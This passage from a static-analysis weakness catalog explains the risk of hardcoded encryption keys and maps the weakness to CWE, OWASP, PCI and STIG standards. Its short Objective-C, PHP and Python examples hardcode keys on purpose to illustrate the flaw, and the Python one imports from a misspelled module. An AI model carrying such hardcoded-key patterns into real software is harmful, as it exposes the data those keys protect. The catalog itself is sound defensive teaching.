[25] Standards Mapping - Payment Card Industry Data Security Standard Version 2.0 Requirement 6.3.1, Requirement 6.5.3, Requirement 8.4
[26] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.3.1, Requirement 6.5.3, Requirement 8.2.1
[27] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.3.1, Requirement 6.5.3, Requirement 8.2.1
[28] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.3.1, Requirement 6.5.3, Requirement 8.2.1
[29] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2.1 Requirement 6.3.1, Requirement 6.5.3, Requirement 8.2.1
[30] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0 Requirement 6.2.4, Requirement 6.5.3, Requirement 6.5.6
[31] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0.1 Requirement 6.2.4, Requirement 6.5.3, Requirement 6.5.6
[32] Standards Mapping - Payment Card Industry Software Security Framework 1.0 Control Objective 7.2 - Use of Cryptography
[33] Standards Mapping - Payment Card Industry Software Security Framework 1.1 Control Objective 7.2 - Use of Cryptography, Control Objective B.2.3 - Terminal Software Design
[34] Standards Mapping - Payment Card Industry Software Security Framework 1.2 Control Objective 7.2 - Use of Cryptography, Control Objective B.2.3 - Terminal Software Design
[35] Standards Mapping - SANS Top 25 2009 Porous Defenses - CWE ID 259
[36] Standards Mapping - SANS Top 25 2010 Porous Defenses - CWE ID 798
[37] Standards Mapping - SANS Top 25 2011 Porous Defenses - CWE ID 798
[38] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP3210.1 CAT II, APP3350 CAT I
[39] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP3210.1 CAT II, APP3350 CAT I
[40] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP3210.1 CAT II, APP3350 CAT I
[41] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP3210.1 CAT II, APP3350 CAT I
[42] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP3210.1 CAT II, APP3350 CAT I
[43] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP3210.1 CAT II, APP3350 CAT I
[44] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP3210.1 CAT II, APP3350 CAT I
[45] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-002010 CAT II
[46] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-002010 CAT II
[47] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-002010 CAT II
[48] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-002010 CAT II
[49] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-002010 CAT II
[50] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-002010 CAT II
[51] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-002010 CAT II
[52] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-002010 CAT II
[53] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-002010 CAT II
[54] Standards Mapping - Security Technical Implementation Guide Version 4.11 APSC-DV-002010 CAT II
[55] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-002010 CAT II
[56] Standards Mapping - Security Technical Implementation Guide Version 5.1 APSC-DV-002010 CAT II
[57] Standards Mapping - Security Technical Implementation Guide Version 5.2 APSC-DV-002010 CAT II
[58] Standards Mapping - Security Technical Implementation Guide Version 5.3 APSC-DV-002010 CAT II
[59] Standards Mapping - Security Technical Implementation Guide Version 6.1 APSC-DV-002010 CAT II
[60] Standards Mapping - Security Technical Implementation Guide Version 6.2 APSC-DV-002010 CAT II
[61] Standards Mapping - Web Application Security Consortium Version 2.00 Information Leakage (WASC-13)
desc.structural.json.password_management_hardcoded_password
Abstract
Hardcoded encryption keys can compromise security in a way that is not easy to remedy.
Explanation
It is never a good idea to hardcode an encryption key because it allows all of the project's developers to view the encryption key, and makes fixing the problem extremely difficult. After the code is in production, a software patch is required to change the encryption key. If the account that is protected by the encryption key is compromised, the owners of the system must choose between security and availability.

Example 1: The following code uses a hardcoded encryption key:


...
NSString encryptionKey = "lakdsljkalkjlksdfkl";
...


Anyone with access to the code has access to the encryption key. After the application has shipped, there is no way to change the encryption key unless the program is patched. An employee with access to this information can use it to break into the system. If attackers had access to the executable for the application, they could extract the encryption key value.
References
[1] Encrypting Your App's Files Apple
[2] Standards Mapping - Common Weakness Enumeration CWE ID 321
[3] Standards Mapping - Common Weakness Enumeration Top 25 2019 [13] CWE ID 287, [19] CWE ID 798
[4] Standards Mapping - Common Weakness Enumeration Top 25 2020 [14] CWE ID 287, [20] CWE ID 798
[5] Standards Mapping - Common Weakness Enumeration Top 25 2021 [14] CWE ID 287, [16] CWE ID 798
[6] Standards Mapping - Common Weakness Enumeration Top 25 2022 [14] CWE ID 287, [15] CWE ID 798
[7] Standards Mapping - Common Weakness Enumeration Top 25 2023 [13] CWE ID 287, [18] CWE ID 798
[8] Standards Mapping - Common Weakness Enumeration Top 25 2024 [14] CWE ID 287, [22] CWE ID 798
[9] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-002450
[10] Standards Mapping - FIPS200 IA
[11] Standards Mapping - General Data Protection Regulation (GDPR) Insufficient Data Protection
[12] Standards Mapping - NIST Special Publication 800-53 Revision 4 SC-12 Cryptographic Key Establishment and Management (P1), SC-13 Cryptographic Protection (P1)
[13] Standards Mapping - NIST Special Publication 800-53 Revision 5 SC-12 Cryptographic Key Establishment and Management, SC-13 Cryptographic Protection
[14] Standards Mapping - OWASP Application Security Verification Standard 4.0 2.6.3 Look-up Secret Verifier Requirements (L2 L3), 2.7.1 Out of Band Verifier Requirements (L1 L2 L3), 2.7.2 Out of Band Verifier Requirements (L1 L2 L3), 2.7.3 Out of Band Verifier Requirements (L1 L2 L3), 2.8.4 Single or Multi Factor One Time Verifier Requirements (L2 L3), 2.8.5 Single or Multi Factor One Time Verifier Requirements (L2 L3), 2.9.1 Cryptographic Software and Devices Verifier Requirements (L2 L3), 2.10.2 Service Authentication Requirements (L2 L3), 2.10.4 Service Authentication Requirements (L2 L3), 3.5.2 Token-based Session Management (L2 L3), 3.7.1 Defenses Against Session Management Exploits (L1 L2 L3), 6.2.1 Algorithms (L1 L2 L3), 6.4.1 Secret Management (L2 L3), 6.4.2 Secret Management (L2 L3), 9.2.3 Server Communications Security Requirements (L2 L3), 10.2.3 Malicious Code Search (L3)
[15] Standards Mapping - OWASP Mobile 2014 M6 Broken Cryptography
[16] Standards Mapping - OWASP Mobile 2024 M10 Insufficient Cryptography
[17] Standards Mapping - OWASP Mobile Application Security Verification Standard 2.0 MASVS-CRYPTO-2
[18] Standards Mapping - OWASP Top 10 2004 A8 Insecure Storage
[19] Standards Mapping - OWASP Top 10 2007 A8 Insecure Cryptographic Storage
[20] Standards Mapping - OWASP Top 10 2010 A7 Insecure Cryptographic Storage
[21] Standards Mapping - OWASP Top 10 2013 A6 Sensitive Data Exposure
[22] Standards Mapping - OWASP Top 10 2017 A3 Sensitive Data Exposure
[23] Standards Mapping - OWASP Top 10 2021 A02 Cryptographic Failures
[24] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.8, Requirement 8.4
[25] Standards Mapping - Payment Card Industry Data Security Standard Version 1.2 Requirement 6.3.1.3, Requirement 6.5.8, Requirement 8.4
[26] Standards Mapping - Payment Card Industry Data Security Standard Version 2.0 Requirement 6.3.1, Requirement 6.5.3, Requirement 8.4
[27] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.3.1, Requirement 6.5.3, Requirement 8.2.1
[28] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.3.1, Requirement 6.5.3, Requirement 8.2.1
[29] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.3.1, Requirement 6.5.3, Requirement 8.2.1
[30] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2.1 Requirement 6.3.1, Requirement 6.5.3, Requirement 8.2.1
[31] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0 Requirement 6.2.4, Requirement 6.5.3, Requirement 6.5.6
[32] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0.1 Requirement 6.2.4, Requirement 6.5.3, Requirement 6.5.6
[33] Standards Mapping - Payment Card Industry Software Security Framework 1.0 Control Objective 7.2 - Use of Cryptography
[34] Standards Mapping - Payment Card Industry Software Security Framework 1.1 Control Objective 7.2 - Use of Cryptography, Control Objective B.2.3 - Terminal Software Design
[35] Standards Mapping - Payment Card Industry Software Security Framework 1.2 Control Objective 7.2 - Use of Cryptography, Control Objective B.2.3 - Terminal Software Design
[36] Standards Mapping - SANS Top 25 2009 Porous Defenses - CWE ID 259
[37] Standards Mapping - SANS Top 25 2010 Porous Defenses - CWE ID 798
[38] Standards Mapping - SANS Top 25 2011 Porous Defenses - CWE ID 798
[39] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP3210.1 CAT II, APP3350 CAT I
[40] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP3210.1 CAT II, APP3350 CAT I
[41] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP3210.1 CAT II, APP3350 CAT I
[42] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP3210.1 CAT II, APP3350 CAT I
[43] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP3210.1 CAT II, APP3350 CAT I
[44] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP3210.1 CAT II, APP3350 CAT I
[45] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP3210.1 CAT II, APP3350 CAT I
[46] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-002010 CAT II
[47] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-002010 CAT II
[48] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-002010 CAT II
[49] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-002010 CAT II
[50] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-002010 CAT II
[51] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-002010 CAT II
[52] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-002010 CAT II
[53] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-002010 CAT II
[54] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-002010 CAT II
[55] Standards Mapping - Security Technical Implementation Guide Version 4.11 APSC-DV-002010 CAT II
[56] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-002010 CAT II
[57] Standards Mapping - Security Technical Implementation Guide Version 5.1 APSC-DV-002010 CAT II
[58] Standards Mapping - Security Technical Implementation Guide Version 5.2 APSC-DV-002010 CAT II
[59] Standards Mapping - Security Technical Implementation Guide Version 5.3 APSC-DV-002010 CAT II
[60] Standards Mapping - Security Technical Implementation Guide Version 6.1 APSC-DV-002010 CAT II
[61] Standards Mapping - Security Technical Implementation Guide Version 6.2 APSC-DV-002010 CAT II
[62] Standards Mapping - Web Application Security Consortium Version 2.00 Information Leakage (WASC-13)
desc.structural.objc.key_management_hardcoded_encryption_key
Abstract
Hardcoded encryption keys could compromise system security in a way that is not easy to remedy.
Explanation
It is never a good idea to hardcode an encryption key. Not only does hardcoding an encryption key allow all of the project's developers to view the encryption key, it also makes fixing the problem extremely difficult. After the code is in production, a software patch is required to change the encryption key. If the account protected by the encryption key is compromised, the owners of the system must choose between security and availability.
Example 1: The following code uses a hardcoded encryption key to encrypt information:


...
$encryption_key = 'hardcoded_encryption_key';

//$filter = new Zend_Filter_Encrypt('hardcoded_encryption_key');
$filter = new Zend_Filter_Encrypt($encryption_key);

$filter->setVector('myIV');

$encrypted = $filter->filter('text_to_be_encrypted');
print $encrypted;
...


This code will run successfully, but anyone who has access to it will have access to the encryption key. After the program ships, there is likely no way to change the hardcoded encryption key ('hardcoded_encryption_key') unless the program is patched. A devious employee with access to this information can use it to compromise data encrypted by the system.
References
[1] Standards Mapping - Common Weakness Enumeration CWE ID 321
[2] Standards Mapping - Common Weakness Enumeration Top 25 2019 [13] CWE ID 287, [19] CWE ID 798
[3] Standards Mapping - Common Weakness Enumeration Top 25 2020 [14] CWE ID 287, [20] CWE ID 798
[4] Standards Mapping - Common Weakness Enumeration Top 25 2021 [14] CWE ID 287, [16] CWE ID 798
[5] Standards Mapping - Common Weakness Enumeration Top 25 2022 [14] CWE ID 287, [15] CWE ID 798
[6] Standards Mapping - Common Weakness Enumeration Top 25 2023 [13] CWE ID 287, [18] CWE ID 798
[7] Standards Mapping - Common Weakness Enumeration Top 25 2024 [14] CWE ID 287, [22] CWE ID 798
[8] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-002450
[9] Standards Mapping - FIPS200 IA
[10] Standards Mapping - General Data Protection Regulation (GDPR) Insufficient Data Protection
[11] Standards Mapping - NIST Special Publication 800-53 Revision 4 SC-12 Cryptographic Key Establishment and Management (P1), SC-13 Cryptographic Protection (P1)
[12] Standards Mapping - NIST Special Publication 800-53 Revision 5 SC-12 Cryptographic Key Establishment and Management, SC-13 Cryptographic Protection
[13] Standards Mapping - OWASP Application Security Verification Standard 4.0 2.6.3 Look-up Secret Verifier Requirements (L2 L3), 2.7.1 Out of Band Verifier Requirements (L1 L2 L3), 2.7.2 Out of Band Verifier Requirements (L1 L2 L3), 2.7.3 Out of Band Verifier Requirements (L1 L2 L3), 2.8.4 Single or Multi Factor One Time Verifier Requirements (L2 L3), 2.8.5 Single or Multi Factor One Time Verifier Requirements (L2 L3), 2.9.1 Cryptographic Software and Devices Verifier Requirements (L2 L3), 2.10.2 Service Authentication Requirements (L2 L3), 2.10.4 Service Authentication Requirements (L2 L3), 3.5.2 Token-based Session Management (L2 L3), 3.7.1 Defenses Against Session Management Exploits (L1 L2 L3), 6.2.1 Algorithms (L1 L2 L3), 6.4.1 Secret Management (L2 L3), 6.4.2 Secret Management (L2 L3), 9.2.3 Server Communications Security Requirements (L2 L3), 10.2.3 Malicious Code Search (L3)
[14] Standards Mapping - OWASP Mobile 2014 M6 Broken Cryptography
[15] Standards Mapping - OWASP Mobile 2024 M10 Insufficient Cryptography
[16] Standards Mapping - OWASP Mobile Application Security Verification Standard 2.0 MASVS-CRYPTO-2
[17] Standards Mapping - OWASP Top 10 2004 A8 Insecure Storage
[18] Standards Mapping - OWASP Top 10 2007 A8 Insecure Cryptographic Storage
[19] Standards Mapping - OWASP Top 10 2010 A7 Insecure Cryptographic Storage
[20] Standards Mapping - OWASP Top 10 2013 A6 Sensitive Data Exposure
[21] Standards Mapping - OWASP Top 10 2017 A3 Sensitive Data Exposure
[22] Standards Mapping - OWASP Top 10 2021 A02 Cryptographic Failures
[23] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.8, Requirement 8.4
[24] Standards Mapping - Payment Card Industry Data Security Standard Version 1.2 Requirement 6.3.1.3, Requirement 6.5.8, Requirement 8.4
[25] Standards Mapping - Payment Card Industry Data Security Standard Version 2.0 Requirement 6.3.1, Requirement 6.5.3, Requirement 8.4
[26] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.3.1, Requirement 6.5.3, Requirement 8.2.1
[27] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.3.1, Requirement 6.5.3, Requirement 8.2.1
[28] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.3.1, Requirement 6.5.3, Requirement 8.2.1
[29] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2.1 Requirement 6.3.1, Requirement 6.5.3, Requirement 8.2.1
[30] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0 Requirement 6.2.4, Requirement 6.5.3, Requirement 6.5.6
[31] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0.1 Requirement 6.2.4, Requirement 6.5.3, Requirement 6.5.6
[32] Standards Mapping - Payment Card Industry Software Security Framework 1.0 Control Objective 7.2 - Use of Cryptography
[33] Standards Mapping - Payment Card Industry Software Security Framework 1.1 Control Objective 7.2 - Use of Cryptography, Control Objective B.2.3 - Terminal Software Design
[34] Standards Mapping - Payment Card Industry Software Security Framework 1.2 Control Objective 7.2 - Use of Cryptography, Control Objective B.2.3 - Terminal Software Design
[35] Standards Mapping - SANS Top 25 2009 Porous Defenses - CWE ID 259
[36] Standards Mapping - SANS Top 25 2010 Porous Defenses - CWE ID 798
[37] Standards Mapping - SANS Top 25 2011 Porous Defenses - CWE ID 798
[38] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP3210.1 CAT II, APP3350 CAT I
[39] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP3210.1 CAT II, APP3350 CAT I
[40] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP3210.1 CAT II, APP3350 CAT I
[41] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP3210.1 CAT II, APP3350 CAT I
[42] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP3210.1 CAT II, APP3350 CAT I
[43] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP3210.1 CAT II, APP3350 CAT I
[44] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP3210.1 CAT II, APP3350 CAT I
[45] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-002010 CAT II
[46] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-002010 CAT II
[47] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-002010 CAT II
[48] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-002010 CAT II
[49] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-002010 CAT II
[50] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-002010 CAT II
[51] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-002010 CAT II
[52] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-002010 CAT II
[53] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-002010 CAT II
[54] Standards Mapping - Security Technical Implementation Guide Version 4.11 APSC-DV-002010 CAT II
[55] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-002010 CAT II
[56] Standards Mapping - Security Technical Implementation Guide Version 5.1 APSC-DV-002010 CAT II
[57] Standards Mapping - Security Technical Implementation Guide Version 5.2 APSC-DV-002010 CAT II
[58] Standards Mapping - Security Technical Implementation Guide Version 5.3 APSC-DV-002010 CAT II
[59] Standards Mapping - Security Technical Implementation Guide Version 6.1 APSC-DV-002010 CAT II
[60] Standards Mapping - Security Technical Implementation Guide Version 6.2 APSC-DV-002010 CAT II
[61] Standards Mapping - Web Application Security Consortium Version 2.00 Information Leakage (WASC-13)
desc.semantic.php.key_management_hardcoded_encryption_key
Abstract
Hardcoded encryption keys can compromise security in a way that is not easy to remedy.
Explanation
It is never a good idea to hardcode an encryption key because it allows all of the project's developers to view the encryption key, and makes fixing the problem extremely difficult. After the code is in production, a software patch is required to change the encryption key. If the account that is protected by the encryption key is compromised, the owners of the system must choose between security and availability.



Anyone with access to the code has access to the encryption key. After the application has shipped, there is no way to change the encryption key unless the program is patched. An employee with access to this information can use it to break into the system. If attackers had access to the executable for the application, they could extract the encryption key value.
References
[1] Standards Mapping - Common Weakness Enumeration CWE ID 321
[2] Standards Mapping - Common Weakness Enumeration Top 25 2019 [13] CWE ID 287, [19] CWE ID 798
[3] Standards Mapping - Common Weakness Enumeration Top 25 2020 [14] CWE ID 287, [20] CWE ID 798
[4] Standards Mapping - Common Weakness Enumeration Top 25 2021 [14] CWE ID 287, [16] CWE ID 798
[5] Standards Mapping - Common Weakness Enumeration Top 25 2022 [14] CWE ID 287, [15] CWE ID 798
[6] Standards Mapping - Common Weakness Enumeration Top 25 2023 [13] CWE ID 287, [18] CWE ID 798
[7] Standards Mapping - Common Weakness Enumeration Top 25 2024 [14] CWE ID 287, [22] CWE ID 798
[8] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-002450
[9] Standards Mapping - FIPS200 IA
[10] Standards Mapping - General Data Protection Regulation (GDPR) Insufficient Data Protection
[11] Standards Mapping - NIST Special Publication 800-53 Revision 4 SC-12 Cryptographic Key Establishment and Management (P1), SC-13 Cryptographic Protection (P1)
[12] Standards Mapping - NIST Special Publication 800-53 Revision 5 SC-12 Cryptographic Key Establishment and Management, SC-13 Cryptographic Protection
[13] Standards Mapping - OWASP Application Security Verification Standard 4.0 2.6.3 Look-up Secret Verifier Requirements (L2 L3), 2.7.1 Out of Band Verifier Requirements (L1 L2 L3), 2.7.2 Out of Band Verifier Requirements (L1 L2 L3), 2.7.3 Out of Band Verifier Requirements (L1 L2 L3), 2.8.4 Single or Multi Factor One Time Verifier Requirements (L2 L3), 2.8.5 Single or Multi Factor One Time Verifier Requirements (L2 L3), 2.9.1 Cryptographic Software and Devices Verifier Requirements (L2 L3), 2.10.2 Service Authentication Requirements (L2 L3), 2.10.4 Service Authentication Requirements (L2 L3), 3.5.2 Token-based Session Management (L2 L3), 3.7.1 Defenses Against Session Management Exploits (L1 L2 L3), 6.2.1 Algorithms (L1 L2 L3), 6.4.1 Secret Management (L2 L3), 6.4.2 Secret Management (L2 L3), 9.2.3 Server Communications Security Requirements (L2 L3), 10.2.3 Malicious Code Search (L3)
[14] Standards Mapping - OWASP Mobile 2014 M6 Broken Cryptography
[15] Standards Mapping - OWASP Mobile 2024 M10 Insufficient Cryptography
[16] Standards Mapping - OWASP Mobile Application Security Verification Standard 2.0 MASVS-CRYPTO-2
[17] Standards Mapping - OWASP Top 10 2004 A8 Insecure Storage
[18] Standards Mapping - OWASP Top 10 2007 A8 Insecure Cryptographic Storage
[19] Standards Mapping - OWASP Top 10 2010 A7 Insecure Cryptographic Storage
[20] Standards Mapping - OWASP Top 10 2013 A6 Sensitive Data Exposure
[21] Standards Mapping - OWASP Top 10 2017 A3 Sensitive Data Exposure
[22] Standards Mapping - OWASP Top 10 2021 A02 Cryptographic Failures
[23] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.8, Requirement 8.4
[24] Standards Mapping - Payment Card Industry Data Security Standard Version 1.2 Requirement 6.3.1.3, Requirement 6.5.8, Requirement 8.4
[25] Standards Mapping - Payment Card Industry Data Security Standard Version 2.0 Requirement 6.3.1, Requirement 6.5.3, Requirement 8.4
[26] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.3.1, Requirement 6.5.3, Requirement 8.2.1
[27] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.3.1, Requirement 6.5.3, Requirement 8.2.1
[28] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.3.1, Requirement 6.5.3, Requirement 8.2.1
[29] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2.1 Requirement 6.3.1, Requirement 6.5.3, Requirement 8.2.1
[30] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0 Requirement 6.2.4, Requirement 6.5.3, Requirement 6.5.6
[31] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0.1 Requirement 6.2.4, Requirement 6.5.3, Requirement 6.5.6
[32] Standards Mapping - Payment Card Industry Software Security Framework 1.0 Control Objective 7.2 - Use of Cryptography
[33] Standards Mapping - Payment Card Industry Software Security Framework 1.1 Control Objective 7.2 - Use of Cryptography, Control Objective B.2.3 - Terminal Software Design
[34] Standards Mapping - Payment Card Industry Software Security Framework 1.2 Control Objective 7.2 - Use of Cryptography, Control Objective B.2.3 - Terminal Software Design
[35] Standards Mapping - SANS Top 25 2009 Porous Defenses - CWE ID 259
[36] Standards Mapping - SANS Top 25 2010 Porous Defenses - CWE ID 798
[37] Standards Mapping - SANS Top 25 2011 Porous Defenses - CWE ID 798
[38] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP3210.1 CAT II, APP3350 CAT I
[39] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP3210.1 CAT II, APP3350 CAT I
[40] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP3210.1 CAT II, APP3350 CAT I
[41] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP3210.1 CAT II, APP3350 CAT I
[42] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP3210.1 CAT II, APP3350 CAT I
[43] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP3210.1 CAT II, APP3350 CAT I
[44] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP3210.1 CAT II, APP3350 CAT I
[45] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-002010 CAT II
[46] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-002010 CAT II
[47] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-002010 CAT II
[48] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-002010 CAT II
[49] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-002010 CAT II
[50] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-002010 CAT II
[51] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-002010 CAT II
[52] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-002010 CAT II
[53] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-002010 CAT II
[54] Standards Mapping - Security Technical Implementation Guide Version 4.11 APSC-DV-002010 CAT II
[55] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-002010 CAT II
[56] Standards Mapping - Security Technical Implementation Guide Version 5.1 APSC-DV-002010 CAT II
[57] Standards Mapping - Security Technical Implementation Guide Version 5.2 APSC-DV-002010 CAT II
[58] Standards Mapping - Security Technical Implementation Guide Version 5.3 APSC-DV-002010 CAT II
[59] Standards Mapping - Security Technical Implementation Guide Version 6.1 APSC-DV-002010 CAT II
[60] Standards Mapping - Security Technical Implementation Guide Version 6.2 APSC-DV-002010 CAT II
[61] Standards Mapping - Web Application Security Consortium Version 2.00 Information Leakage (WASC-13)
desc.structural.sql.key_management_hardcoded_encryption_key
Abstract
Hardcoded encryption keys could compromise system security in a way that is not easy to remedy.
Explanation
It is never a good idea to hardcode an encryption key. Not only does hardcoding an encryption key allow all of the project's developers to view the encryption key, it also makes fixing the problem extremely difficult. After the code is in production, a software patch is required to change the encryption key. If the account protected by the encryption key is compromised, the owners of the system must choose between security and availability.
Example 1: The following code uses a hardcoded encryption key to encrypt information:

...
from Crypto.Ciphers import AES
encryption_key = b'_hardcoded__key_'
cipher = AES.new(encryption_key, AES.MODE_CFB, iv)
msg = iv + cipher.encrypt(b'Attack at dawn')
...


This code will run successfully, but anyone who has access to it will have access to the encryption key. After the program ships, there is likely no way to change the hardcoded encryption key _hardcoded__key_ unless the program is patched. A devious employee with access to this information can use it to compromise data encrypted by the system.
References
[1] Standards Mapping - Common Weakness Enumeration CWE ID 321
[2] Standards Mapping - Common Weakness Enumeration Top 25 2019 [13] CWE ID 287, [19] CWE ID 798
[3] Standards Mapping - Common Weakness Enumeration Top 25 2020 [14] CWE ID 287, [20] CWE ID 798
[4] Standards Mapping - Common Weakness Enumeration Top 25 2021 [14] CWE ID 287, [16] CWE ID 798
[5] Standards Mapping - Common Weakness Enumeration Top 25 2022 [14] CWE ID 287, [15] CWE ID 798
[6] Standards Mapping - Common Weakness Enumeration Top 25 2023 [13] CWE ID 287, [18] CWE ID 798
[7] Standards Mapping - Common Weakness Enumeration Top 25 2024 [14] CWE ID 287, [22] CWE ID 798
[8] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-002450
[9] Standards Mapping - FIPS200 IA
[10] Standards Mapping - General Data Protection Regulation (GDPR) Insufficient Data Protection
[11] Standards Mapping - NIST Special Publication 800-53 Revision 4 SC-12 Cryptographic Key Establishment and Management (P1), SC-13 Cryptographic Protection (P1)
[12] Standards Mapping - NIST Special Publication 800-53 Revision 5 SC-12 Cryptographic Key Establishment and Management, SC-13 Cryptographic Protection
[13] Standards Mapping - OWASP Application Security Verification Standard 4.0 2.6.3 Look-up Secret Verifier Requirements (L2 L3), 2.7.1 Out of Band Verifier Requirements (L1 L2 L3), 2.7.2 Out of Band Verifier Requirements (L1 L2 L3), 2.7.3 Out of Band Verifier Requirements (L1 L2 L3), 2.8.4 Single or Multi Factor One Time Verifier Requirements (L2 L3), 2.8.5 Single or Multi Factor One Time Verifier Requirements (L2 L3), 2.9.1 Cryptographic Software and Devices Verifier Requirements (L2 L3), 2.10.2 Service Authentication Requirements (L2 L3), 2.10.4 Service Authentication Requirements (L2 L3), 3.5.2 Token-based Session Management (L2 L3), 3.7.1 Defenses Against Session Management Exploits (L1 L2 L3), 6.2.1 Algorithms (L1 L2 L3), 6.4.1 Secret Management (L2 L3), 6.4.2 Secret Management (L2 L3), 9.2.3 Server Communications Security Requirements (L2 L3), 10.2.3 Malicious Code Search (L3)
[14] Standards Mapping - OWASP Mobile 2014 M6 Broken Cryptography
[15] Standards Mapping - OWASP Mobile 2024 M10 Insufficient Cryptography
[16] Standards Mapping - OWASP Mobile Application Security Verification Standard 2.0 MASVS-CRYPTO-2
[17] Standards Mapping - OWASP Top 10 2004 A8 Insecure Storage
[18] Standards Mapping - OWASP Top 10 2007 A8 Insecure Cryptographic Storage
[19] Standards Mapping - OWASP Top 10 2010 A7 Insecure Cryptographic Storage
[20] Standards Mapping - OWASP Top 10 2013 A6 Sensitive Data Exposure
[21] Standards Mapping - OWASP Top 10 2017 A3 Sensitive Data Exposure
[22] Standards Mapping - OWASP Top 10 2021 A02 Cryptographic Failures
[23] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.8, Requirement 8.4
